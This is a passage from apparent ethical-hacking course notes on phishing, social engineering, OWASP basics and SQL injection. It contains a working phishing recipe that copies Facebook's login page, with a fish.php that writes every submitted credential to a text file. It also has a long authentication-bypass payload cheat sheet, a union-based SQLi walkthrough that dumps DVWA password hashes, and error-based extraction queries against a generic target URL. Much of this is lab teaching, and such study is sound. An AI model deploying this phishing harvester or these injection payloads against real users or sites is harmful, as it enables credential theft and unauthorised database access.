  1032. Second Value : <input type="text" id="second" name="second"><br>
  1033. <input type="radio" name="group1" id="add" value="add" checked="true">ADD<br>
  1034. <input type="radio" name="group1" id="subtract" value="subtract">SUBTRACT<br>
  1035. <button type="submit" id="answer" value="answer">Calculate</button>
  1036. </form>
  1037. </body>
  1038. </html>
  1039.  
  1040. ========
  1041. calc.php
  1042. ========
  1043. <html>
  1044. <head>
  1045. <title>Jawab</title>
  1046. </head>
  1047. <body>
  1048. <p>
  1049. The Answer is:
  1050. <?php
  1051. $first=$_POST['first'];
  1052. $second = $_POST['second'];
  1053. if($_POST['group1'] == 'add')
  1054. {
  1055. $ans=$first+$second;
  1056. echo $ans;
  1057. }
  1058. if($_POST['group1'] == 'subtract')
  1059. {
  1060. $ans=$first-$second;
  1061. echo $ans;
  1062. }
  1063. ?>
  1064. </p>
  1065. </body>
  1066. </html>
  1067.  
  1068.  
  1069.  
  1070.  
  1071.  
  1072.  
  1073.  
  1074. don.html
  1075. =========
  1076. <html>
  1077. <head>
  1078. <title>Me Hu DON</title>
  1079. </head>
  1080. <body>
  1081. <h1>Hackers</h1>
  1082. <h2>Mr. Ravi Raman</h2>
  1083. <p>I am Naval Oficer.<br>
  1084. I am an executive Officer.<br>
  1085. I am 35 years old.<br>
  1086. I am communication specialist.<br>
  1087. </p>
  1088. <a href="https://en.wikipedia.org/wiki/Black_hat">
  1089. <h3>Mr. Madhu</h3>
  1090. </a>
  1091. <h4>Mr. Hothi</h4>
  1092. <img src="spidy.jpg" width="500"></img>
  1093. <h5>Mr. Devdas</h5>
  1094. <iframe src="http://www.lucideus.com"></iframe><br><br><br><br><br><br><br><br>
  1095. <form action="sec.php" method="POST">
  1096. Username :<input type="text" id="user" name="users"><br><br>
  1097. Password :<input type="password" id="pass" name="passes"><br><br>
  1098. <input type="submit" value="Login">
  1099. </form>
  1100.  
  1101.  
  1102. </body>
  1103. </html>
  1104.  
  1105. sec.php
  1106. =======
  1107. <html>
  1108. <head>
  1109. <title>SuperHero</title>
  1110. </head>
  1111. <body>
  1112. <h1>This Is My Fav. SuperHero</h1>
  1113. <img src="shakti.jpg">
  1114. <?php
  1115. $username=$_POST['users'];
  1116. $password=$_POST['passes'];
  1117. if($username == "admin")
  1118. {
  1119. echo "Welcome to password protected area admin";
  1120. if($password="passes")
  1121. {
  1122. echo "Welcome admin";
  1123. }
  1124. else
  1125. {
  1126. echo "Wrong password";
  1127. }
  1128. }
  1129. else
  1130. {
  1131. echo "Wrong username";
  1132. }
  1133. ?>
  1134. </body>
  1135. </html>
  1136. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  1137.  
  1138. Session 8
  1139. =========
  1140. Phishing
  1141. --------
  1142. It is a technique in which an attacker creates and develop a fake page or a fake web site, which look completely authentic and genuine. but it is not. He deploys the same and make people to enter their credentials.
  1143. 1. Spear Phishing
  1144. 2. Vector Phishing | Credential Harvestor
  1145.  
  1146. 1. Spear Phishing
  1147. -----------------
  1148. Targeting a single or an individual or the crowd of people having common interest. Target Specific.
  1149. 2. Credential Harvestor
  1150. -----------------------
  1151. It is not target specific. Any kind of person can come and enter their credentials. I just need to collect the credentals of the crowd for my own purpose.
  1152.  
  1153. Create Facebook's Phishing Page
  1154. ===============================
  1155. 1. Open Your Browser
  1156. 2. Goto www.facebook.com
  1157. 3. Right Click on the login page ---> view page source
  1158. 4. Select all ---> copy
  1159. 5. Open notepad and paste the whole code
  1160. 6. Scroll to the very top of the code.
  1161. 7. Ctrl+F ---> action=
  1162. action="https://www.facebook.com/login.php?login_attempt=1&amp;lwv=110"
  1163. 8. In the received parameter
  1164. https://www.facebook.com/login.php?login_attempt=1&amp;lwv=110
  1165. Replace it with fish.php
  1166.  
  1167.  
  1168. fish.php
  1169. ========
  1170. <?php
  1171. header ('Location: https://www.facebook.com');
  1172. $handle = fopen("coffee.txt", "a");
  1173. foreach($_POST as $variable => $value) {
  1174. fwrite($handle, $variable);
  1175. fwrite($handle, "=");
  1176. fwrite($handle, $value);
  1177. fwrite($handle, "\r\n");
  1178. }
  1179. fwrite($handle, "\r\n");
  1180. fclose($handle);
  1181. exit;
  1182. ?>
  1183.  
  1184. Understanding The Code
  1185. ======================
  1186. <?php ---> start of the php code
  1187. header ('Location: https://www.facebook.com');
  1188. when the working of the php code is done, then redirect the user to https://www.facebook.com
  1189. $handle = fopen("coffee.txt","a");
  1190. $handle ---> Variable
  1191. fopen --> to open a file
  1192. It will open a file, coffee.txt
  1193. When we open a file, I need to pass an attribute, which says in which mode the file should open. There are 3 major attributes
  1194. 1. Read --> r
  1195. This attribute is used for just reading the content of the file.
  1196. 2. Write -> w
  1197. This attribute is use to write the content in the file.
  1198. 1. If there is no file name which we passed, then it will create a new file with the same name.
  1199. 2. If there is a file with the name and there is data inside the file, it will delete all the data and start writing the new data from the beginning, Overwrite.
  1200. 3. Append-> a
  1201. It is same like write, but it never deletes data but, it will start continue to write the data in the same file.
  1202. foreach($_POST as $variable => $value)
  1203. It is for loop in php. It says jb tk mere pass data POST method se aa rha hai, tb tk ye loop chalta rahe.
  1204. $variable => $value
  1205. Phone or email => abc.cyb@gmail.com
  1206.  
  1207. fwrite($handle, $variable); --> 1
  1208. fwrite($handle, "="); ---> 2
  1209. fwrite($handle, $value); ---> 3
  1210. fwrite($handle, "\r\n"); --->4
  1211. fwrite --> to write data into the file
  1212. fwrite($handle, $variable);
  1213. $handle ---> specify the file in which we want to write
  1214. $variable --> data which is to be stores in the file
  1215.  
  1216. 1 2 3
  1217. email or phone = Store the value inputed by the user
  1218. 4 --->it will enter a new line and start from the begining of the next line
  1219. fclose($handle);
  1220. It means to close the open file ---> coffee.txt
  1221. exit;
  1222. To stop the execution of the code and redirect to the user to the site specified in header
  1223. ?> --> close of php code
  1224.  
  1225. IDN Homographic Attack
  1226. ======================
  1227. There are many languages in the world. Among those language there are many characters which are similar to english characters.
  1228. To human eye, those similar characters do not have anby difference but to computer they do have the difference of their ASCII Value.
  1229.  
  1230. а, с, е, о, р, х and у --> Russian
  1231. a, c, e, o, p, x and y --> English
  1232.  
  1233. deepika Padukone --> English
  1234. dеерikа раdukоnе --> Cyrallic + English
  1235.  
  1236. Case Study - Must Read
  1237. ======================
  1238. https://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html
  1239.  
  1240. Social Engineering
  1241. ==================
  1242. To bluf someone in order to take the sensitive data. It is hacking without coding, Human mind hacking. An attacker can reterive the data or can make others to do his dirty works.
  1243.  
  1244. Fake Mails
  1245. ==========
  1246. Sending ----> https://emkei.cz/
  1247. https://getgophish.com/
  1248. https://www.youtube.com/watch?v=knc6Iq-hNcw&t=114s
  1249. Receiving ----> www.temp-mail.org
  1250.  
  1251. haveibeenpwned.com
  1252. https://howsecureismypassword.net/
  1253.  
  1254. Email Tracing and Tracking
  1255. ==========================
  1256. Email headers
  1257. https://grabify.link/ --> Try it yourself
  1258. http://www.fuglekos.com/ip-grabber/index.html -->
  1259. http://whoreadme.com
  1260.  
  1261. Email Encryption
  1262. ================
  1263. End-to-end encryption.
  1264. encipher.it
  1265.  
  1266. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  1267.  
  1268. Session 9
  1269. =========
  1270. Introduction to Vulnerability Assessment and Penetration Testing
  1271. ----------------------------------------------------------------
  1272.  
  1273. VAPT --> Vulnerability Assessment and Penetration Testing
  1274. V --> Vulnerability
  1275. Loopholes, week security, security misconfiguration. From where an attacker can intrude and compromise your system.
  1276. A --> Assessment
  1277. To scan for the Vulnerability.
  1278. P --> Penetration
  1279. To beach into the system using the above Vulnerability. To hack into or to compromise the system
  1280. T --> Testing
  1281. To generate the report and to pass down. To test the above Vulnerability and to create a report for the same.
  1282.  
  1283.  
  1284. VA --> Vulnerability Assessment
  1285. To scan the web application and to report the Vulnerability
  1286. PT --> Penetration Testing
  1287. To beach into the system and report about those Vulnerabilities.
  1288. VAPT --> Vulnerability Assessment and Penetration Testing
  1289.  
  1290. When we talk about web application VAPT
  1291. ========================================
  1292. OWASP
  1293. =====
  1294. Open Web Application Security Project
  1295. -------------------------------------
  1296. It is non-profit charitable organisation, which works towards the security of the web application. They gather the information from all around the globe. They gather the information through CTF initiative.
  1297. They open challange the whole hacking community, to hack into the online system and capture the flag, in return, they will provide with the bounty. They gather the logs of the attacks which are performed in the CTF.
  1298. After gathering the whole logs, they perform the analysis of these logs and categorise the attacks accordingly.
  1299. They release a list of 10 attacks.
  1300. OWASP TOP 10. --> top 10 attacks.
  1301.  
  1302. 1. Injection
  1303. 2. XSS --> Cross Site Scripting
  1304. 3. CSRF --> Cross Site Request Forgery
  1305. 4. IDOR --> Insecure Direct Object References
  1306. 5. Sensitive Data Exposure
  1307. 6. Missing Function Level Access Control
  1308. 7. Broken Authentication and Session Management
  1309. 8. Invalidated Redirects and Forwards
  1310. 9. Security Misconfigurations
  1311. 10. Using Components with known Vulnerabilities
  1312.  
  1313. OWASP 2013 --> Stable
  1314. OWASP 2017 --> Data sufficient
  1315. https://www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf.pdf
  1316.  
  1317. https://cybermap.kaspersky.com/
  1318. https://www.fireeye.com/cyber-map/threat-map.html
  1319.  
  1320. DBMS
  1321. ====
  1322. DataBase Management System
  1323. --------------------------
  1324. Where, how, when which data is suppose to be stores in which table, in which database, in which column.
  1325. DBA --> Database Administrator
  1326. The Administrator of database, which manages the whole environment's database. DBA need to have the complete knowledge of a programing languages --> SQL
  1327.  
  1328. SQL --> Structured Query Language.
  1329. This is the programing languages which is used by the dba or any user to interact with the database.
  1330.  
  1331. Source --> Delhi
  1332. Destination --> Jalandhar
  1333. Date --> 10/6/2018
  1334. Class -> 2T
  1335.  
  1336. Select trains from database where source="Delhi" and destination="Jalandhar" having class="2T" on date=" 10/06/2018"
  1337.  
  1338. Queries
  1339. =======
  1340. 1. Insert
  1341. Insert into <table_name>(Column_Name) VALUES(Values to be inserted);
  1342.  
  1343. INSERT INTO `info`(`Name`, `Salary`, `Address`, `Gen`) VALUES (Prashant, 10000, Roshan Garden Najafgarh, M);
  1344.  
  1345. 2. Select
  1346. Select * from <table_name>;
  1347.  
  1348. Select * from info;
  1349.  
  1350. 3. UPDATE
  1351. Update <table_name> SET <value to change> where <condition>;
  1352.  
  1353. UPDATE info SET Salary=30000 where Name="Abhijeet Singh";
  1354.  
  1355. 4. Where
  1356. It is a condition
  1357.  
  1358. Select * from info where salary > 15000;
  1359. Select * from info where name like "A%";
  1360.  
  1361. 5. Delete
  1362. DELETE from info WHERE Name="Abhijeet Singh";
  1363.  
  1364. 6. AND
  1365. SELECT * FROM `info` WHERE salary>=20000 and Gen='M';
  1366.  
  1367. 7. Create
  1368. Create table <table_name>(columns_name data_Type Length);
  1369.  
  1370. CREATE table training(Name Text(20), Age int(3), Gender Text(1));
  1371.  
  1372. 8. Order By
  1373. It will arrange the data into either ascending order or in descending order
  1374.  
  1375. SELECT * FROM `training` ORDER BY Name;
  1376.  
  1377. 9. Group By
  1378. To group the data
  1379.  
  1380. SELECT * FROM `training` GROUP by Gender;
  1381.  
  1382. 10. UNION
  1383. SELECT name from info UNION select name from training;
  1384.  
  1385. SELECT name,gen,salary,address from info UNION SELECT name,gender,age,null FROM training;
  1386.  
  1387. 11. Information_schema -->Meta database
  1388.  
  1389. SQL Injection
  1390. =============
  1391. Authentication Bypass
  1392. ---------------------
  1393. To bypass the authentication on any login form and gain teh access as the administrator.
  1394. There are 4 types of authentication
  1395. 1. Basic Authentication
  1396. 2. Integrated Authentication
  1397. 3. Digest Authentication
  1398. 4. Form Based Authentication
  1399.  
  1400. Logic Gates
  1401. ===========
  1402. AND Gate --> If any of the value is false, then the ans will be flase
  1403.  
  1404. 0 and 0 = 0
  1405. 0 and 1 = 0
  1406. 1 and 0 = 0
  1407. 1 and 1 = 1
  1408.  
  1409. OR --> If any of the value is true, then the answer will be true
  1410.  
  1411. 0 or 0 = 0
  1412. 0 or 1 = 1
  1413. 1 or 0 = 1
  1414. 1 or 1 = 1
  1415.  
  1416. 1 ---> True ---> Administrator
  1417.  
  1418. ' ---> Single inverted Comma ---> Use to break the SQL query
  1419.  
  1420. 1'or'1'='1
  1421. select '1'or'1'='1'
  1422.  
  1423. Username --> 1'or'1'='1 always true
  1424. Password --> 1'or'1'='1 always true
  1425. Administrator Login
  1426. x'or'x'='x ---> true
  1427.  
  1428. Cupons| Promo Code ---> 1'or'1'='1
  1429.  
  1430.  
  1431. Cheat sheet
  1432. ===========
  1433. or 1=1
  1434. or 1=1--
  1435. or 1=1#
  1436. or 1=1/*
  1437. admin' --
  1438. admin' #
  1439. admin'/*
  1440. admin' or '1'='1
  1441. admin' or '1'='1'--
  1442. admin' or '1'='1'#
  1443. admin' or '1'='1'/*
  1444. admin'or 1=1 or ''='
  1445. admin' or 1=1
  1446. admin' or 1=1--
  1447. admin' or 1=1#
  1448. admin' or 1=1/*
  1449. admin') or ('1'='1
  1450. admin') or ('1'='1'--
  1451. admin') or ('1'='1'#
  1452. admin') or ('1'='1'/*
  1453. admin') or '1'='1
  1454. admin') or '1'='1'--
  1455. admin') or '1'='1'#
  1456. admin') or '1'='1'/*
  1457. 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
  1458. admin" --
  1459. admin" #
  1460. admin"/*
  1461. admin" or "1"="1
  1462. admin" or "1"="1"--
  1463. admin" or "1"="1"#
  1464. admin" or "1"="1"/*
  1465. admin"or 1=1 or ""="
  1466. admin" or 1=1
  1467. admin" or 1=1--
  1468. admin" or 1=1#
  1469. admin" or 1=1/*
  1470. admin") or ("1"="1
  1471. admin") or ("1"="1"--
  1472. admin") or ("1"="1"#
  1473. admin") or ("1"="1"/*
  1474. admin") or "1"="1
  1475. admin") or "1"="1"--
  1476. admin") or "1"="1"#
  1477. admin") or "1"="1"/*
  1478. 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
  1479.  
  1480.  
  1481. LVS setup
  1482. =========
  1483. Lucideus Vulnerable Simulator
  1484. =============================
  1485.  
  1486. DVWA --> Damm Vulnerable Web Application
  1487. ----------------------------------------
  1488. Open Source
  1489.  
  1490. LVS_1.zip
  1491. 1. Copy the zip file
  1492. 2. Paste it in C:\xampp\htdocs
  1493. 3. Extract the zip file
  1494. LVS_1
  1495. 4. Start the xampp server
  1496. Apache
  1497. MySQL
  1498. 5. Start the browser
  1499. 127.0.0.1/lvs_1
  1500. 6. Click on the link --> lvs111
  1501.  
  1502. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  1503.  
  1504. Session 10
  1505. ==========
  1506. Insecure Direct Object References
  1507. ---------------------------------
  1508. A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
  1509.  
  1510. www.bank.com/aofn/akjf.php?id=12 ---> Account1
  1511. www.bank.com/aofn/akjf.php?id=11 ---> Account2
  1512. www.bank.com/aofn/akjf.php?id=10 ---> Account3
  1513. if I will change the id value to another ID value, and can have the access of another account, it is considered to be Insecure Direct Object References
  1514.  
  1515. http://127.0.0.1/wave1/wave1/insecure/myaccount.php?Id=1
  1516. User ID = 1
  1517. Username = Admin
  1518. Password= password
  1519.  
  1520. If I change the value of .php?Id=1 to .php?Id=2, then I can have the access of another account whose ID is 2
  1521.  
  1522. Oyorooms.com/afogn/adifn.php?ID=abhijeet.php
  1523. Oyorooms.com/afogn/adifn.php?ID=admin.php
  1524.  
  1525. id = 1 ---> 1 represents a token containing a value of --> Username, password and other information.
  1526.  
  1527. Get Parameter
  1528. -------------
  1529. php?Id=1 -->
  1530. Something = something
  1531.  
  1532. Sensitive Data Exposure
  1533. =======================
  1534. Personal Data
  1535. Credential Data
  1536. Banking Data
  1537. Economical Data
  1538. Financial Data
  1539.  
  1540. 1. When data is transmitted in the url, that is your crendentials are transmitted via GET Parameter.
  1541. username=user&password=pass&sumbit=submit
  1542. 2. When data is stored in plain text form rather then hashed or encrypted form.
  1543. 3. When data is stored in the text file rather then to be stored in the databsae.
  1544.  
  1545. Id Interest Gender Username Password
  1546. -----------------------------------------------
  1547. 1 Badminton Female admin Pa$$woRd
  1548. 2 Football Male admin2 paSSwOrd
  1549.  
  1550.  
  1551. Consider who can gain access to your sensitive data and any backups of that data. This includes the data at rest, in transit and even in your customers’ browsers. Include both external and internal threats. The Sensitive Data can be exposed in the plain text or in any hash format.
  1552.  
  1553. DVWA
  1554. ====
  1555. Damn Vulnerable Web Application
  1556. -------------------------------
  1557. It is a web application which is Vulnerable by default. This application is used for testing the skills and to perform web application attacks passed by OWASP.
  1558.  
  1559. Could not connect to the database - please check the config file.
  1560. 1. Goto c:\xampp\htdocs\dvwa\dvwa-1.0.8
  1561. 2. Open the config folder
  1562. 3. config.inc.php
  1563. 4. $_DVWA = array();
  1564. $_DVWA[ 'db_server' ] = 'localhost';
  1565. $_DVWA[ 'db_database' ] = 'dvwa';
  1566. $_DVWA[ 'db_user' ] = 'root';
  1567. $_DVWA[ 'db_password' ] = 'p@ssw0rd';
  1568.  
  1569. change the line --> $_DVWA[ 'db_password' ] = 'p@ssw0rd';
  1570. $_DVWA[ 'db_password' ] = '';
  1571. save the file
  1572.  
  1573. Username:admin
  1574. password:password
  1575.  
  1576.  
  1577. SQL Injections
  1578. ==============
  1579. Where an attacker passes the malicious SQL commands just to gain the juicy information from the database.
  1580. SQLi
  1581.  
  1582. UNION BASED SQL INJECTION
  1583. =========================
  1584. Where an attacker uses the union command to collect the information and merge it into one table. He passes malicious commands and queries in the database to do so.
  1585.  
  1586. DEMO
  1587. ====
  1588. DVWA ---> Security:Low
  1589. SQL Injection
  1590. Step 1
  1591. ======
  1592. To find 'GET' parameter.
  1593. something=something
  1594. php?id=something
  1595. php?id=cat
  1596. php?id=1
  1597. php?id=query
  1598.  
  1599. Either you click on some link of the web application|site or enter something in the search box.
  1600.  
  1601. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#
  1602.  
  1603. Step 2
  1604. ======
  1605. To generate a SQL error, to break the query.
  1606. 1
  1607. 1'
  1608.  
  1609. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1'&Submit=Submit#
  1610.  
  1611. You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
  1612.  
  1613. 'select * from table '
  1614. 'select * from table' '
  1615.  
  1616. Step 3
  1617. ======
  1618. To count the number of columns, in the web application.
  1619. For counting the number of columns, I will use order by
  1620.  
  1621. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' order by 1--+&Submit=Submit#
  1622. Shows me data
  1623. This query means that I am asking the database to arrange the data according to column number 1
  1624.  
  1625. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' order by 2--+&Submit=Submit#
  1626. Shows me data
  1627. This query means that I am asking the database to arrange the data according to column number 2
  1628.  
  1629. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' order by 3--+&Submit=Submit#
  1630. Gives me error
  1631. Unknown column '3' in 'order clause'
  1632. This query means that I am asking the database to arrange the data according to column number 3
  1633. But there is no column number 3 --> so it will generate an error
  1634.  
  1635. order by n--+
  1636. n starts from 1 and ends when i receive an error for the value of n
  1637. --+ ---> To comment out
  1638. if there is any data passed down after --+, it will not execute at all.
  1639.  
  1640. There are 2 columns, in the database.
  1641.  
  1642. Step 4
  1643. ======
  1644. To merge the data of all the columns, using UNION command.
  1645. union select 1,2,...,n-1--+
  1646. n=3
  1647. union select 1,2--+
  1648.  
  1649.  
  1650. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' union select 1,2--+&Submit=Submit#
  1651.  
  1652. ID: 1' union select 1,2--
  1653. First name: admin
  1654. Surname: admin
  1655.  
  1656. ID: 1' union select 1,2--
  1657. First name: 1
  1658. Surname: 2
  1659.  
  1660. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' union select database(),version()--+&Submit=Submit#
  1661.  
  1662. database() --> database name
  1663. version() --> Database Version Number
  1664.  
  1665. ID: 1' union select database(),version()--
  1666. First name: admin
  1667. Surname: admin
  1668.  
  1669. ID: 1' union select database(),version()--
  1670. First name: dvwa
  1671. Surname: 10.1.25-MariaDB
  1672.  
  1673. Step 5
  1674. ======
  1675. To call database ki ma --> information_schema, for getting the information about the table names
  1676. Information_schema --> it is meta table --> it contains the name of tables and columns which are present in the database.
  1677. information_schema.tables
  1678. |-> It stores the name of all the table names in the database.
  1679.  
  1680. union select table_name,2 from information_schema.tables--+
  1681. or
  1682. union select 1,table_name from information_schema.tables--+
  1683.  
  1684. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' union select 1,table_name from information_schema.tables--+&Submit=Submit#
  1685.  
  1686. Step 6
  1687. ======
  1688. I will again call database ki maa for columns names in the table names as users
  1689. information_schema
  1690. information_schema.columns
  1691.  
  1692. union select 1,column_name from information_schema.columns where table_name="users"--+
  1693.  
  1694.  
  1695. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1696. First name: admin
  1697. Surname: admin
  1698.  
  1699. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1700. First name: 1
  1701. Surname: user_id
  1702.  
  1703. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1704. First name: 1
  1705. Surname: first_name
  1706.  
  1707. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1708. First name: 1
  1709. Surname: last_name
  1710.  
  1711. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1712. First name: 1
  1713. Surname: user
  1714.  
  1715. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1716. First name: 1
  1717. Surname: password
  1718.  
  1719.  
  1720. column name --> user_id
  1721. first_name
  1722. Last_name
  1723. user
  1724. password
  1725.  
  1726. Step 7
  1727. ======
  1728. To retreive data from the above data.
  1729. DVWA --> Users --> (User_id,first_name,Last_name,user,Password)
  1730.  
  1731. union select 1,group_concat(User_id,0x0a,first_name,0x0a,Last_name,0x0a,user,0x0a,Password,0x3a) from users--+
  1732.  
  1733. 1
  1734. admin
  1735. admin
  1736. admin
  1737. 5f4dcc3b5aa765d61d8327deb882cf99
  1738.  
  1739. 2
  1740. Gordon
  1741. Brown
  1742. gordonb
  1743. e99a18c428cb38d5f260853678922e03 --> abc123
  1744.  
  1745. 3
  1746. Hack
  1747. Me
  1748. 1337
  1749. 8d3533d75ae2c3966d7e0d4fcc69216b --> charley
  1750.  
  1751. 4
  1752. Pablo
  1753. Picasso
  1754. pablo
  1755. 0d107d09f5bbe40cade3de5c71e9e9b7
  1756.  
  1757. 5
  1758. Bob
  1759. Smith
  1760. smithy
  1761. 5f4dcc3b5aa765d61d8327deb882cf99
  1762.  
  1763. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  1764.  
  1765. Session 11
  1766. ==========
  1767. ERROR BASED SQL INJECTION
  1768. =========================
  1769. Error based SQL Injection is type of SQL Injection technique to make the error message show Data in just the form of Database Errors instead of SQL Syntax error like in Union Based, for when we have a blind vulnerability that shows error, so we can extract sensitive data from the database directly.
  1770.  
  1771. The errors are very useful during the time of development of a web application but they should be disabled on a Live Website, because errors always shows the Internal Sensitive Data of the Database.
  1772.  
  1773. Error Based SQL Injection works on the ASP Technology (asp.net , aspx) which is a open source server side web application Developed by Microsoft, using the Microsoft MSSQL Server.
  1774.  
  1775.  
  1776. TRUE CONDITION :
  1777. ---------------
  1778.  
  1779. Here 1 is True and 0 is False.
  1780.  
  1781. AND GATE REPRESENTATION
  1782.  
  1783. A | B | Resultant |
  1784. ------------------------------|
  1785. 0 | 0 | 0 |
  1786. 0 | 1 | 0 |
  1787. 1 | 0 | 0 |
  1788. 1 | 1 | 1 |
  1789.  
  1790. Checking the Last True Condition it states :
  1791.  
  1792. 1 & 1 = 1 ie; 1*1=1 or True*True = True
  1793.  
  1794. MAKING THIS TRUE CONDITION FALSE
  1795.  
  1796. 1 & 0 = 0 ie; 1*0=0 or True*False = False
  1797.  
  1798.  
  1799. Error Based SQL Injection works by generating a error condition in the SQL Syntax, so that the Database reverts back with the Error along with the Sensitive Data.
  1800.  
  1801.  
  1802. DEMONSTRATION
  1803. ===============
  1804.  
  1805. Normally a SQL Syntax can goes like :
  1806.  
  1807. ?id=10 | ?id=10 and 1 =1 ; //TRUE
  1808. Which means a Condition is true and it will revert a Genuine Website.
  1809.  
  1810. - So, we can change and can create a Error in the SQL Command by :
  1811. ?id=10 and 1=0; //FALSE
  1812. Which will create and revert a Errors of the Database.
  1813.  
  1814. CONDITIONS OF ERROR BASED SQLI
  1815. ===============================
  1816. = Only One Query can execute at a Particular time, not like finding out the Table Names etc we do on Union Based.
  1817. = It works on the basis of Last In First Out (LIFO).
  1818. = Only the Top Table of the Database can be accessed at a single particular time. Same goes for Columns and then for Rows.
  1819.  
  1820. ----
  1821. First as same as Union Based SQLI, we start finding the number of columns and the Vulnerable column. Suppose the vulnerable column is 10.
  1822.  
  1823. After creating a Error, We will start executing the command and extracting the data from the First Table from the Database.
  1824.  
  1825. For selecting the Top First Table (Cause we cannot directly go a “n” number column),
  1826.  
  1827. = ?id=10 and 1=0 select top 1 table_name from information_schema.tables
  1828.  
  1829. This will extract and give the Data of the First Table from the Database Including its name and other entities. If the Data is Juicy then extract it, else we go for the next tables and columns.
  1830.  
  1831. ----
  1832.  
  1833. For deselecting the Top/Current Table and selecting/extracting the next table,
  1834.  
  1835. = ?id=10 and 1=0 select top 1 table_name from information_schema.tables where table_name not in (“Name of the previous tables”)
  1836.  
  1837. Here we are selecting the next Top Table excluding the Previous one and then extracting its data through the Database Errors. For eg. if the First Top Table is named as “Images”, the query will be :
  1838. ?id=10 and 1=0 select top 1 table_name from information_schema.tables where table_name not in (“images”, "guestbook")
  1839.  
  1840. ----
  1841.  
  1842. After getting through our Juicy Table, we go for the data which are situated in there columns.
  1843.  
  1844. = ?id=10 and 1=0 select top 1 column_name from information_schema.columns where table_name not in (“images”)
  1845.  
  1846. Here we get the data of the extracted of the Columns which are not of the Table named Images.
  1847.  
  1848. DEMO
  1849. ====
  1850.  
  1851. http://www.target.com/index.php?id=-1 Union Select 1,2,3,4,5,6--+
  1852.  
  1853. http://www.target.com/index.php?id=1 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--+
  1854. we Will Get The Version Printed on The WebPage
  1855.  
  1856.  
  1857. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1858. Here is Our Query To Get The Database.
  1859.  
  1860.  
  1861. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1862. Now We Have To Get The Tables. As We Want Tables From Primary Database .
  1863. Here Is The Query For Tables From Primary Database.
  1864.  
  1865. Increase The Value Of Limit as LIMIT 0,1 to LIMIT 1,1 LIMIT 2,1 LIMIT 3,1 Until You Get Your Desired Table Name .
  1866.  
  1867.  
  1868. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xADMIN limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1869. Now We Have to Get The Column Names From The Table Name. We Got Table Of Admin. So Lets Get The Columns From Table Admin . Here Is The Query For Getting Column Names From The Table Admin.
  1870.  
  1871. To Get The Columns From The Table Admin we Have to Encode It In HEX and Then We Can Execute Our Query.
  1872. Here Is that PART in Our Query.
  1873.  
  1874. Table_name=ADMIN
  1875. Here Is The HEX Value of ADMIN=61646d696e
  1876. And Put it With 0x to Build Our Correct Query.
  1877.  
  1878.  
  1879. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x61646d696e limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1880. Increase The Value Of LIMIT to LIMIT 0,1 LIMIT 1,1 LIMIT 2,1 until we Get The Column Name Like Username and Password.
  1881.  
  1882.  
  1883. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME_1,0x3a,COLUMN_NAME_2) as char),0x3a)) from TABLENAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1884. After We Get The Column names Like Username And Password. Next Step Is To Extract Data From These Columns.
  1885.  
  1886. WE Put The TABLENAME=Admin
  1887. And
  1888. Column_name_1=username
  1889. Column_name_2=password
  1890.  
  1891.  
  1892. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x3a)) from admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1893.  
  1894.  
  1895. STACKED QUERY SQL INJECTION
  1896. ============================
